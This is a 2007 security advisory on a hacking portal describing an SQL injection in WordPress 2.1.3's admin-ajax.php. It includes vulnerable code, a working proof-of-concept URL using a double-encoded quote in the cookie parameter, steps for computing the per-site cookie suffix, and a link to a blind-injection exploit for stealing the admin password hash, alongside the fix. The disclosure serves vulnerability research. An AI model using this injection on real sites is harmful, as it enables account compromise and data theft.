Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
November 22, 2008
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 urlaxe services
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 LifeDork
 User Manuals
 DZ Secure
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Nemesis
New Today: 2
New Yesterday: 4
Overall: 4096

People Online:
Visitors: 74
Members: 3
Total: 77

Online Now:
01: Aldebaran - Forums
02: pexli - Forums
03: zerobytes - Forums
milw0rm
·Joomla Component Thyme 1.0 (event) SQL Injection Vulnerability
·KVIrc 3.4.2 Shiny (uri handler) Remote Command Execution Exploit
·VCalendar (VCalendar.mdb) Remote Database Disclosure Vulnerability
·NatterChat 1.1 Remote Admin Bypass Vulnerability
·BitDefender (module pdf.xmd) Infinite Loop Denial of Service PoC
·Oracle Database Vault ptrace(2) Privilege Escalation Exploit
·ToursManager (tourview.php tourid) Blind SQL Injection Vulnerability
·Natterchat 1.12 (Auth Bypass) Remote SQL Injection Vulnerability
·vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit
·PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit

read more...
PacketStorm News
·fwknop-1.9.9.tar.gz
·kvirc-exec.txt
·vcalendar-disclose.txt
·ZDI-08-076.txt
·ZDI-08-075.txt
·toursmanager-blindsql.txt
·phprsgal-sql.txt
·MDVSA-2008-233.txt
·java2-malware.pdf
·natterchat-sql.txt

read more...
Security Basics
·Re: pc generating unauthorized http scans
·Re: pc generating unauthorized http scans
·Re: pc generating unauthorized http scans
·Re: pc generating unauthorized http scans
·RE: pc generating unauthorized http scans
·RE: pc generating unauthorized http scans
·pc generating unauthorized http scans
·Re: Inventory Tools
·R: Hardware Firewall
·Re: Web Content filtering

read more...
[waraxe-2007-SA#050] - Sql Injection in WordPress 2.1.3





Author: Janek Vind "waraxe"
Date: 21. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-50.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerable: WordPress 2.1.3
Patched: WordPress 2.2

http://www.wordpress.org/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. critical sql injection in "admin-ajax.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's have look @ source code of "wp-admin/admin-ajax.php" ~ line 6:

------------------[source code]----------------------
define('DOING_AJAX', true);

check_ajax_referer();
if ( !is_user_logged_in() )
die('-1');
------------------[/source code]----------------------

Now let's take a peek at "check_ajax_referer()"

------------------[source code]----------------------
function check_ajax_referer() {
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ?
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
cookie=document.cookie
foreach ( $cookie as $tasty ) {
if ( false !== strpos($tasty, USER_COOKIE) )
$user = substr(strstr($tasty, '='), 1);
if ( false !== strpos($tasty, PASS_COOKIE) )
$pass = substr(strstr($tasty, '='), 1);
}
if ( !wp_login( $user, $pass, true ) )
die('-1');
------------------[/source code]----------------------

We can see "urldecode()" in use ...
So by using "%2527" we can deliver single quotes to "wp_login()",
effectively bypassing php's "magic_quotes" feature!

Hmm, let's proceed further:


------------------[source code]----------------------
function wp_login($username, $password, $already_md5 = false) {
global $wpdb, $error;
...
$login = get_userdatabylogin($username);
------------------[/source code]----------------------


And finally:


------------------[source code]----------------------
function get_userdatabylogin($user_login) {
global $wpdb;
...
if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users
WHERE user_login = '$user_login'") )
return false;
------------------[/source code]----------------------

So really there seems to be exist sql injection possibility.
Now it's time for some proof-of-concept fun :)

------------------[PoC test]-----------------------
http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php?
cookie=wordpressuser_5a136e6377f39b00c76957953df945db%253dx%2527gotcha
;+wordpresspass_5a136e6377f39b00c76957953df945db%253dx
------------------[/PoC test]----------------------

... and if WordPress sql error feedback is enabled, then we can see
nice error message:

WordPress database error: [You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for
the right syntax to use near 'gotcha'' at line 1]

SELECT * FROM wp_users WHERE user_login = 'x'gotcha'

Yeah, it works!! But before testing that PoC cookie suffix must be changed
to currently valid. Here is how it goes:

Example target is: http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php
Base url for WordPress installation is: http://localhost/wordpress.2.1.3
And suffix is:

md5('http://localhost/wordpress.2.1.3') = '5a136e6377f39b00c76957953df945db'

And final variable names:

wordpressuser_5a136e6377f39b00c76957953df945db
wordpresspass_5a136e6377f39b00c76957953df945db

One more time: for every target must be calculated specific suffix!

OK, now about exploiting ...

It seems that blind fishing is only method for this security hole.
There is exploit, I have written in php, which will retrieve from database
WordPress admin password md5 hash within few minutes.

Get it from here:

http://www.waraxe.us/ftopict-1776.html


//-----> See ya soon and have a nice day ;) <-----//


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

WordPress newest version 2.2 is immune against this sql injection.
So --> http://wordpress.org/download/ <-- update it NOW!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, Heintz, slimjim100, shai-tan, y3dips, Sm0ke, Chb
and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/


Shameless advertise:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Axing url for easy use - http://urlaxe.com/
All about sql injections - http://sqlaxe.com/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-05-21 (9366 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 1773
shai-tan  shai-tan - 477
pexli  pexli - 445
LINUX  LINUX - 404
y3dips  y3dips - 281
lenny  lenny - 212
slimjim100  slimjim100 - 209
SteX  SteX - 181
Chb  Chb - 156
Sm0ke  Sm0ke - 141
M$ Security Bulletins
·MS08-069 – Critical: Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (955218)
·MS08-068 – Important: Vulnerability in SMB Could Allow Remote Code Execution (957097)
·MS08-067 – Critical: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
·MS08-066 – Important: Vulnerability in the Microsoft Ancillary Function Driver Could Allow Elevation of Privilege (956803)
·MS08-065 – Important: Vulnerability in Message Queuing Could Allow Remote Code Execution (951071)
·MS08-064 – Important: Vulnerability in Virtual Address Descriptor Manipulation Could Allow Elevation of Privilege (956841)
·MS08-063 – Important: Vulnerability in SMB Could Allow Remote Code Execution (957095)
·MS08-062 - Important: Vulnerability in Windows Internet Printing Service Could Allow Remote Code Execution (953155)
·MS08-061 – Important: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (954211)
·MS08-060 – Critical: Vulnerability in Active Directory Could Allow Remote Code Execution (957280)

read more...
News @ SecurityFocus
Currently there is a problem with headlines from this site
Vuln Watch
·VulnWatch (vulnwatch) Mailing List

read more...
alexa
Incidents
·incidents at insecure.org

read more...

Mobile Phones | Xecuter 3 Mod Chip | Equity Release | Mobile Phone deals | Bad Credit Mortgages

ATI Radeon reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2008 Janek Vind "waraxe"

Page Generation: 0.061 Seconds